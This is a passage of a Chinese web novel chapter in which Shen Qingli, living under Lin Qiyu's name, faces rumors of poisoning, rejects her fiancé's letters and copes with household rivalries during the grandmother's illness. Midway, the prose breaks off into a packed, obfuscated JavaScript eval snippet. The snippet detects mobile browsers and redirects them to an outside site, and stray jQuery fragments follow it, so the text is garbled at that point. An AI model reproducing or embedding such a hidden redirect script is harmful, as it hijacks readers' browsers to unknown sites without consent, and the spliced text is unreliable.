回到林府时,县主和小侯爷的事已经传的沸沸扬扬。
那些无端的传言中还扯到了沈清梨,有人说是她为了报复小侯爷才误伤县主的,也有人说沈清梨没这个胆子,那可是在长公主府,何况这些人哪个不比她身份显赫,她是疯了才敢这么做。
当然不管怎么传,最终大家最在意的还是这件事如何收场。
沈清梨前脚刚回揽翠轩,林夫人后脚就急匆匆地上了门。
“你老实说,到底是不是你下的毒?”
林夫人拉过沈清梨的手,焦急的询问,生怕给林家惹来祸端。
“不是。”沈清梨淡然的坐下,先是给林夫人倒了杯茶,然后又给自己倒了杯,自顾自的淡饮起来,并嘱咐文心给她拿些点心来。
虽然参加了长公主的茶会,但事出突然晚宴被取消,到现在她都还没吃上一口饭。
“当真?”林夫人显然不信,满脸愁容的坐在了沈清梨身旁,苦口婆心的说:“我知你为你姐姐不平,可侯府不是我们能得罪的,何况你若真报复,针对他一人即可,为何还要拉县主下水?”
沈清梨无奈的摇头,将茶杯递给了她,“母亲为何觉得我有那本事在公主府下毒?你也知道对方是县主,我要如何才能神不知鬼不觉的把毒下进去?”
林夫人仔细一想,觉得这话不假。
但她又觉得不对劲,便问:“那他们又是怎么回事?”
“这我就不知道了。”具体的事沈清梨不想告诉林夫人,也信不过她,什么原因不重要,总之跟林家扯不上半点关系。
县主和小侯爷这事闹得挺难看,主要目睹之人太多,根本压不下去,为了保两家颜面,又加之牵扯到皇室,便由端王牵头,求太后赐了这门婚事。
几日后,此事才渐渐平息。
当然,沈清梨不会轻易放过傅怀屿,她会要他血债血偿。
这段时间沈清梨也一直在打听陆照君的下落,然而她的周围根本没人听过这个名字。
她想着,陆照君本是与她一般的孤儿,并非世家千金,想打听到她的消息,怕是没那么容易。
只能慢慢调查。
而在这时,她收到了一封江郁送来的书信。
文心把信刚递到她手中,她反手便丢进了香炉中,看都没看一眼。
“您不看看吗?”
“有什么好看的?”沈清梨反问。
无非就是江郁想约她见面,然后探探她的口风。
退婚一提出,现在最着急的就是江家。
“万一江家反悔了,想娶你为正妻呢?”
犹豫半晌,文心这才开口。
沈清梨冷冷的扫了她一眼,眸中带着几分寒意,“他想娶我便同意?凭什么?”
“可这样闹下去毕竟对小姐的声誉不好。”
“文心,我不是你家小姐,对江郁也没有半分感情,他毁约在先,我当然不会给他任何颜面,以后他的书信不必递给我,你要么不接,要么拿去烧了。”
江郁没有收到回信,无法确定林栖语的心意,这让他越发不解。
以往的林栖语只要他一句话,哪怕相隔再远都一定会来见他。
难道上次提出让她做妾一事让她太失望了,真打算退婚?和他断绝往来?
前短时间,他还是颇有信心的,觉得只要晾上几天,林栖语定会主动跟他示好,甚至会答应他们江家的任何要求。
毕竟在他眼里,林栖语已经失了名节,她无处可去,便是留在林家也会遭人白眼,而这个时候唯独嫁给他才是上策。
不管是林栖语也好,还是林家也罢,唯有尽快完婚,方能堵住悠悠众口。
可偏偏一连多日过去,林家对此事只字不提不说,还放任林栖语去抛头露面,参加长公主的茶会,而这种茶会,江家甚至连被宴请的资格都没有。
这让江郁心里头非常不平衡,越发怀疑林家根本就不在乎他们江家,甚至是真的要与他们退婚。
原本江家稳站上风,只要稍微施压,便能让林家投鼠忌器,可现在事情已经完全朝着他们未曾料到的方向发展,如此一来,江家随时可能会失去攀附林家的资格。
“母亲,我们是不是行事太过?”
江郁眉头紧皱,问出心中的困惑。
“过什么?分明是林栖语那丫头先做出那等有辱门楣之事的,这放在谁家都会和我们做出一样的选择。”
“郁儿,那林家姑娘已经失了清白,倘若将她娶回来做正妻,旁人会怎么看待我们江家,又会怎么看待你?”
江夫人态度非常坚决,不肯退让半步。
因为她很清楚,这次一旦退了,对江家将是极大的打击。
而且也就此失去了跟林家谈判的机会。
这些江郁不是不知道,只不过他对林栖语还是有感情的,不想真的因此交恶,互生厌恶心。
见他垂眸不语,江夫人无奈的叹了口,“郁儿,我知道你喜欢她,可是你爹爹发话了,要么退婚,要么抬进来做个妾室,正妻的名分,得留给清白人家的姑娘。”
“可现在提出退婚的是她,林大人也同意了,我不认为她会愿意屈尊做一个妾室。”
“那就等着,我倒要看看除了我们江家,谁还愿意要她,总之,最后着急的人一定不会是我们。”
天气骤变,一连下了好几天雨,直到五日后的清晨,雨才停下,天空开始渐渐放晴。
院中落了一地的残花新叶,空气中还残留着淡淡的泥土味。
文心正在打扫院落,看着零落的铃兰,她心疼的叹了口气,“这是小姐亲手种的铃兰,没想到连着下了几日的雨,花都被雨水打落了。”
“放心吧,经过大雨的冲刷,来年它们只会盛开的更好。”沈清梨走到她面前,轻轻拾起地上的残花,淡淡开口。
这时,李嬷嬷冲了进来,焦急的对沈清梨说:“二小姐,不好了!老夫人突然病重,您快去看看吧!”
林栖语的这位祖母,沈清梨并未见过,只知道老夫人一直病着,在暖阁休养,不见任何人。
现在突然病重,恐怕凶多吉少。
暖阁与他处果然不同,一踏入就感觉到了一阵暖意,空气中也散发着一股浓浓的药香。
沈清梨刚到暖阁,大夫正好从老夫人寝室出来。
林镇封等人一拥而上,着急的询问老夫人的情况。
大夫面色凝重的摇了摇头,长叹一声,道:“准备后事吧。”
话音刚落,全场所有人脸色大变,林镇封如遭雷击,不敢相信的后退半步,手猛地撑在桌子上,用的力道过重,导致茶杯都被打翻。
可他却浑然不觉,只是脸色煞白的望着大夫许久都说不出一句话来。
屋内顿时哭声四起,乱作一团。
好一阵后,林镇封才撑着最后一丝镇定,声音颤抖着问:“大夫……当真,再无回旋余地?”
闻言,林夫人等人哭声戛然而止,皆满脸愁容的看向大夫。
然而大夫只是无奈的摇头,“老夫人这病是多年顽疾,一直都没办法根除,之前我便提醒过大人,一旦病情加重,神仙难救,诸位节哀吧。”
大夫的话就像是一记重锤,让所有人方寸大乱。
林镇封顾不上其他,急急忙忙的冲进了寝室,其他人也紧跟着要追上去,却被林夫人拦下,“母亲现在需要休息,这么多人一同进去只会打扰到她。”
说完,她朝沈清梨招了招手,“语儿,你跟我去。”
林夫人这做法不言而喻,沈清梨自然看出她的意图。
只不过沈清梨什么都没说,微微点头后,默默朝她走去。
见状,吴若兰缓步走上前,微笑着说:“孩子们都很担心老夫人,姐姐又何必将他们阻拦在外,难不成想让老夫人寒心吗?”
她身后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347692|199553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟着的是自己的两个儿子以及林凤瑶,这些都是她的底气,比起她来,林夫人这边就显得单薄了些。
当然要说谁那边人最少,就要数郑怜烟了,她膝下无儿女,身边也就一个贴身侍女,在林夫人和吴若兰为见老夫人起争执时,只有她淡然的站在一旁,仿佛一切都跟她没有半点关系。
这是沈清梨第一次见林家这几人,与文心所说相差无几,这几人但凡待在一起,便少不了纷争。
林夫人瞥了眼吴若兰,冷道:“你想多了,我只是关心母亲的病情而已。”
吴若兰轻笑着问:“在座的谁不关心?”
听到这话,林夫人脸色一沉,刚想开口,林镇封却从寝室出来了。
见状,吴若兰赶忙上前关心的问:“老爷,老夫人她怎么样了?”
林镇封微微摇头,脸色非常难看。
看样子老夫人的情况不太好,林夫人没有多问,动身进了寝室,吴若兰则趁机对林镇封说:“老爷,我明日就带着几个姑娘去佛陀寺为老夫人祈福,听说佛陀寺最是灵验,只要心诚,定能感动菩萨,保佑老夫人逢凶化吉。”
人在极度绝望时,就越容易相信虚无缥缈的神灵,林镇封也不例外。
他很快接受这个提议,全权交给吴若兰去做。
没想到吴若兰突然看向沈清梨,笑吟吟的说:“二姑娘对佛陀寺最是了解,就由你来带路吧。”
都知道林栖语曾在佛陀寺休养,自尽的传闻也是从寺里传出来的。
那时不少人看笑话,尤其是吴若兰,就等着给林栖语咽气。
结果人不但没死,还回来了。
这一直都是吴若兰最耿耿于怀的,现在又故意提起佛陀寺,摆明了是想让沈清梨难堪。
既然是为老夫人祈福,沈清梨就算再不愿意也得答应。
第二天一早,吴若兰便带着林凤瑶与沈清梨等人出发了。
去往佛陀寺大约需要一整天,乘坐马车途中,沈清梨一直闭目养神,文心也不敢打扰,默默在一旁陪着。
直到晚上他们才到达附近镇上,这个点佛陀寺大门已闭,得等第二日才能去祈福,于是他们便找了家客栈休息。
上楼时,林凤瑶突然叫住沈清梨,眉毛微微一挑,嘴角露出似有似无的笑意,“故地重游,妹妹心里头是何滋味?”
“自然是很平静,你若在佛陀寺听几日佛法,也会变得内心平静不急不躁的。”沈清梨淡淡开口,连怒火都未被激起。
“平静?”林凤瑶冷笑起来,“果然还是一日既往的嘴硬。”
丢下这句话,她便上了楼。
见她远去,文心这才满脸气愤的说:“她就是故意激您,您别与她一般见识。”
沈清梨不答,直接回到了房间,文心为她倒了杯热茶,继续出言提醒,“小姐,吴姨娘来祈福,还特地叫上您,肯定没安好心。”
“她当然没安好心。”沈清梨端起茶杯将其一饮而尽,又继续说:“不过也无需在意。”
都说心诚则灵,为替老夫人祈福,吴若兰决定朝山礼佛,采取三步一叩首的方式来彰显自己的诚心。
但她不打算自己来,而是让沈清梨去做。
嘴巴上还说的那叫一个好听,“二姑娘,老夫人一向疼你,要是知道你这么诚心的为她祈福,一定非常感动,说不定病就好了呢。”
林凤瑶也跟着帮腔,“妹妹心好,自然舍不得让祖母受病痛的折磨,肯定不会拒绝。”
这分明是道德绑架,文心看不下去,出言反驳,“可是小姐她的身子还没恢复……”
“带着病痛还专程朝山礼佛,一定能感动上天,到时候不只是祖母,就连爹爹都会格外疼惜你。”
“你想想,阖府上下这么多人,谁有这个诚意?谁又有这个毅力?偏偏你有,爹爹最重孝道,见了你这般模样,心里还能不疼你?往后这府里,谁还敢轻慢了你?”